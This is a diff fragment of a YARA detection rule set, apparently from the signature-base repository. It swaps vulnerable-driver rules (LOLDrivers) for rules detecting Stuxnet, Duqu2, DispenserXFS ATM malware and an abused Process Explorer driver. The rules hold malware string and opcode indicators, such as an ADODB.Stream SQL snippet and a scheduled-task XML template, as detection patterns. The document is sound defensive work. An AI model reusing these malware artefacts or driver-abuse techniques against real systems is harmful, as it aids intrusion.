+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_stuxnet.yar#L112-L128"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a4ad77490d17cf897c4639f0b9f9473267886e99a94b4f506670207497117764"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0d8c2bcb575378f6a88d17b5f6ce70e794a264cdc8556c8e812f0b5f9c709198"
+		hash2 = "1635ec04f069ccc8331d01fdf31132a4bc8f6fd3830ac94739df95ee093c555c"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100530055005300200056004700410020004b00650072006e0065006c0020004d006f006400650020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00390037 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00390037 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00450049004f002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100530055005300200056004700410020004b00650072006e0065006c0020004d006f006400650020004400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00450049004f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000320030003000340020004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e }
+		$x1 = "\\objfre_w2k_x86\\i386\\guava.pdb" ascii
+		$x2 = "MRxCls.sys" fullword wide
+		$x3 = "MRXNET.Sys" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		( uint16(0)==0x5a4d and filesize <80KB and 1 of them ) or ( all of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_4408 : FILE
+rule SIGNATURE_BASE_Stuxnet_Maindll_Decrypted_Unpacked
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
-		author = "Florian Roth"
-		id = "d5bbf94d-394a-599e-93f3-6f9d79cca02f"
-		date = "2023-06-14"
+		description = "Stuxnet Sample - file maindll.decrypted.unpacked.dll_"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7009a41c-0588-5392-ae1c-045e0a5ee56b"
+		date = "2016-07-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4166-L4186"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "440883cd9d6a76db5e53517d0ec7fe13d5a50d2f6a7f91ecfc863bc3490e4f5c"
-		logic_hash = "b038dcb0a536e16d71035d11537757f529589a435616abacd94aadd5663c2a17"
-		score = 40
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_stuxnet.yar#L130-L150"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bec740cdb4c1748d0fb546691cf8feb38c0e61adad60c069c5866f5034cb7ed9"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4c3d7b38339d7b8adf73eaf85f0eb9fab4420585c6ab6950ebd360428af11712"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00340033 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00340033 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000320031 }
+		$s1 = "%SystemRoot%\\system32\\Drivers\\mrxsmb.sys;%SystemRoot%\\system32\\Drivers\\*.sys" fullword wide
+		$s2 = "<Actions Context=\"%s\"><Exec><Command>%s</Command><Arguments>%s,#%u</Arguments></Exec></Actions>" fullword wide
+		$s3 = "%SystemRoot%\\inf\\oem7A.PNF" fullword wide
+		$s4 = "%SystemRoot%\\inf\\mdmcpq3.PNF" fullword wide
+		$s5 = "%SystemRoot%\\inf\\oem6C.PNF" fullword wide
+		$s6 = "@abf varbinary(4096) EXEC @hr = sp_OACreate 'ADODB.Stream', @aods OUT IF @hr <> 0 GOTO endq EXEC @hr = sp_OASetProperty @" wide
+		$s7 = "STORAGE#Volume#1&19f7e59c&0&" fullword wide
+		$s8 = "view MCPVREADVARPERCON as select VARIABLEID,VARIABLETYPEID,FORMATFITTING,SCALEID,VARIABLENAME,ADDRESSPARAMETER,PROTOKOLL,MAXLIMI" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		6 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Rivetnetworksllc_Kfecodrvsys_Killertrafficcontrol_B583 : FILE
+rule SIGNATURE_BASE_Stuxnet_S7Hkimdb : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - KfeCo10X64.sys"
-		author = "Florian Roth"
-		id = "eff26fc8-a458-5c15-8a0b-86773f8f6289"
-		date = "2023-06-14"
+		description = "Stuxnet Sample - file s7hkimdb.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e4cb277f-5eee-5405-9d48-d06657392323"
+		date = "2016-07-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4189-L4209"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b583414fcee280128788f7b39451c511376fe821f455d4f3702795e96d560704"
-		logic_hash = "d4f37a4c7014694cfcf57c11ee9d41edec1b6fa77a564341663c3411764dbcda"
-		score = 40
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_stuxnet.yar#L152-L188"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a44063b6a542eca17f46802e9f644540f1d6b6cb9777c20ef9ea14e44c341a1c"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4071ec265a44d1f0d42ff92b2fa0b30aafa7f6bb2160ed1d0d5372d70ac654bd"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b0069006c006c006500720020005400720061006600660069006300200043006f006e00740072006f006c002000430061006c006c006f007500740020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200690076006500740020004e006500740077006f0072006b0073002c0020004c004c0043002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e0037002e0034002e00310031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0039002e0037002e0034002e00310031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004b006600650043006f004400720076002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b0069006c006c006500720020005400720061006600660069006300200043006f006e00740072006f006c }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004b006600650043006f004400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310035002d00320030003100380020005200690076006500740020004e006500740077006f0072006b0073002c0020004c004c0043002e }
+		$x1 = "S7HKIMDX.DLL" fullword wide
+		$op1 = { 8b 45 08 35 dd 79 19 ae 33 c9 8b 55 08 89 02 89 }
+		$op2 = { 74 36 8b 7f 08 83 ff 00 74 2e 0f b7 1f 8b 7f 04 }
+		$op3 = { 74 70 81 78 05 8d 54 24 04 75 1b 81 78 08 04 cd }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		( uint16(0)==0x5a4d and filesize <40KB and $x1 and all of ($op*))
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroaegis_ED2F : FILE
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_VULN_DRV_PROCEXP152_May23 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		description = "Detects vulnerable process explorer driver (original file name: PROCEXP152.SYS), often used by attackers to elevate privileges (false positives are possible in cases in which old versions of process explorer are still present on the system)"
 		author = "Florian Roth"
-		id = "288ce092-a3f2-57d0-9d28-a0c4b6faa52f"
-		date = "2023-06-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4212-L4232"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ed2f33452ec32830ffef2d5dc832985db9600c306ed890c47f3f33ccbb335c39"
-		logic_hash = "1da8ef4d1877ba9d2c31d994735f6395367de990be6c875c0cba37654ee39ad3"
-		score = 40
+		id = "748eb390-f320-5045-bed2-24ae70471f43"
+		date = "2023-05-05"
+		modified = "2023-07-28"
+		reference = "https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor_inverse_matches.yar#L502-L520"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d988bba837b91b2ad7f69be8765a948848bce21e2daa53af602f714758cda4d4"
+		score = 50
 		quality = 85
 		tags = "FILE"
+		hash1 = "cdfbe62ef515546f1728189260d0bdf77167063b6dbb77f1db6ed8b61145a2bc"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e00380030002e0030002e0031003000360033 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00380030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f002000410045004700490053 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$a1 = "\\ProcExpDriver.pdb" ascii
+		$a2 = "\\Device\\PROCEXP152" wide fullword
+		$a3 = "procexp.Sys" wide fullword
 
 	condition:
 		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Msi_Ntiolibxsys_Ntiolib_09BE : FILE
+import "pe"
+
+rule SIGNATURE_BASE_ATM_Malware_Dispenserxfs_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
-		author = "Florian Roth"
-		id = "30b7487c-d5b7-52b1-a209-f6eb01f0f406"
-		date = "2023-06-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4235-L4255"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "09bedbf7a41e0f8dabe4f41d331db58373ce15b2e9204540873a1884f38bdde1"
-		logic_hash = "23f5a77bae75d686a980e65dd6efe4ad216a60d75631fed169a83cc88d64675e"
-		score = 40
+		description = "Detects ATM Malware DispenserXFS"
+		author = "@Xylit0l @r3c0nst / Modified by Florian Roth"
+		id = "7c06102c-93d3-52f4-8c25-430f6f7a601f"
+		date = "2019-02-27"
+		modified = "2023-01-06"
+		reference = "https://twitter.com/r3c0nst/status/1100775857306652673"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_atm_dispenserxfs.yar#L4-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3c7331b29f7cd8c40f99e235664f86361ba99c9ca0092c1cfb6faf367764303e"
+		score = 80
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020004d006900630072006f002d005300740061007200200049004e00540027004c00200043004f002e002c0020004c00540044002e }
+		$xc1 = { 68 FF FF 00 00 68 60 EA 00 00 6A 10 }
+		$s1 = "\\dispenserXFS.pdb" ascii
+		$s3 = "C:\\xfsasdf.txt" fullword ascii
+		$s4 = "Injected mxsfs killer into %d." fullword ascii
+		$s5 = "Waiting for freeze msxfs processes..." fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5A4D and (1 of them or pe.imphash()=="617e037ae26d1931818db0790fb44bfe")
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Aegis_A802 : FILE
+rule SIGNATURE_BASE_Duqu2_Sample1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "9cb0be23-e1d9-5698-bde2-81a870f81f83"
-		date = "2023-06-14"
+		description = "Detects malware - Duqu2 (cross-matches with IronTiger malware and Derusbi)"
+		author = "Florian Roth (Nextron Systems)"
+		id = "39ba04f1-df45-5513-ab8f-12097a79cdc7"
+		date = "2016-07-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4258-L4278"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a8027daa6facf1ff81405daf6763249e9acf232a1a191b6bf106711630e6188e"
-		logic_hash = "8ef06932883bbd5ad62bd5d975fb341277a83271f7a21fc77cdebc6b9f4a05a6"
-		score = 40
+		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_duqu2.yar#L10-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bf6b60bcae2b41487ede11581c82b32e6bc912445008b1655e4f75be65cf6596"
+		score = 80
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6b146e3a59025d7085127b552494e8aaf76450a19c249bfed0b4c09f328e564f"
+		hash2 = "8e97c371633d285cd8fc842f4582705052a9409149ee67d97de545030787a192"
+		hash3 = "2796a119171328e91648a73d95eb297edc220e8768f4bbba5fb7237122a988fc"
+		hash4 = "5559fcc93eef38a1c22db66a3e0f9e9f026c99e741cc8b1a4980d166f2696188"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0035002e0030002e0031003100320031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0035 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410045004700490053 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000380020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$x1 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" fullword wide
+		$s2 = "MSI.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		( uint16(0)==0x5a4d and filesize <40KB and $x1) or ( all of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_0F01 : FILE
+rule SIGNATURE_BASE_Duqu2_Sample2 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "0328757c-e561-567c-b7ad-7e6bcba19bb5"
-		date = "2023-06-14"
+		description = "Detects Duqu2 Malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a32f54a3-8656-5592-ac40-17330bfca319"
+		date = "2016-07-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4281-L4301"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0f016c80c4938fbcd47a47409969b3925f54292eba2ce01a8e45222ce8615eb8"
-		logic_hash = "014039b9b1b4ea903b4c014ca3d3ff946b1b0f4759d8d78c1fcf825d11318e42"
-		score = 40
+		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_duqu2.yar#L30-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6afd87d472929f56272eb6f28970f2c8be5eb08e6126287391aee1269de1100d"
+		score = 80
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "d12cd9490fd75e192ea053a05e869ed2f3f9748bf1563e6e496e7153fb4e6c98"
+		hash2 = "5ba187106567e8d036edd5ddb6763f89774c158d2a571e15d76572d8604c22a0"
+		hash3 = "6e09e1a4f56ea736ff21ad5e188845615b57e1a5168f4bdaebe7ddc634912de9"
+		hash4 = "c16410c49dc40a371be22773f420b7dd3cfd4d8205cf39909ad9a6f26f55718e"
+		hash5 = "2ecb26021d21fcef3d8bba63de0c888499110a2b78e4caa6fa07a2b27d87f71b"
+		hash6 = "2c9c3ddd4d93e687eb095444cef7668b21636b364bff55de953bdd1df40071da"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0038002e0034003000350037002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0038002e0034003000350037002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$s1 = "=<=Q=W=a=g=p=v=|=" fullword ascii
+		$s2 = ">#>(>.>3>=>]>d>p>" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		uint16(0)==0x5a4d and filesize <50KB and all of ($s*)
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Sunmicrosystemsinc_Vboxdrvsys_Sunvirtualbox_R_7539 : FILE
+rule SIGNATURE_BASE_Duqu2_Sample3 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
-		author = "Florian Roth"
-		id = "5ccaf486-04c4-5066-b307-e76b6e484d01"
-		date = "2023-06-14"
+		description = "Detects Duqu2 Malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c558445f-fbe3-57db-80f7-09a87b097921"
+		date = "2016-07-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4304-L4324"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7539157df91923d4575f7f57c8eb8b0fd87f064c919c1db85e73eebb2910b60c"
-		logic_hash = "dd40b144e403136b4359106d2efeb24335b83ffc13a62fdce7c9bd602dc45506"
-		score = 40
+		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_duqu2.yar#L52-L66"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4adaf71a4acd8ce122af0b6f1267dc34c5190efcb4a6fa3322c1e6cf67a546a5"
+		score = 80
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2a9a5afc342cde12c6eb9a91ad29f7afdfd8f0fb17b983dcfddceccfbc17af69"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0030002e0030002e007200340039003300310035 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0030002e0030002e007200340039003300310035 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530075006e0020005600690072007400750061006c0042006f0078 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002000530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }
+		$s1 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		( uint16(0)==0x5a4d and filesize <50KB and $s1)
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_478D : FILE
+rule SIGNATURE_BASE_Duqu2_Sample4 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "13ee4d76-b778-593e-85e6-8402d01352e8"
-		date = "2023-06-14"
+		description = "Detects Duqu2 Malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8c5ca68d-762c-5d2e-8d37-f58dc66bcae2"
+		date = "2016-07-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4327-L4347"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "478d855b648ef4501d3b08b3b10e94076ac67546b0ce86b454324f1bf9a78aa0"
-		logic_hash = "29a09ee10d391b3183052255622f7b96a0e2bf649acc30e10d57e1cb3b17b84f"
-		score = 40
+		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_duqu2.yar#L68-L85"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ddecd1d7fa007b83fe6e29ac8983d02511a89a16ab2365f8086ec92a52d4bf33"
+		score = 80
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "3536df7379660d931256b3cf49be810c0d931c3957c464d75e4cba78ba3b92e3"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00360030002e0030002e0031003000380032 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00360030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
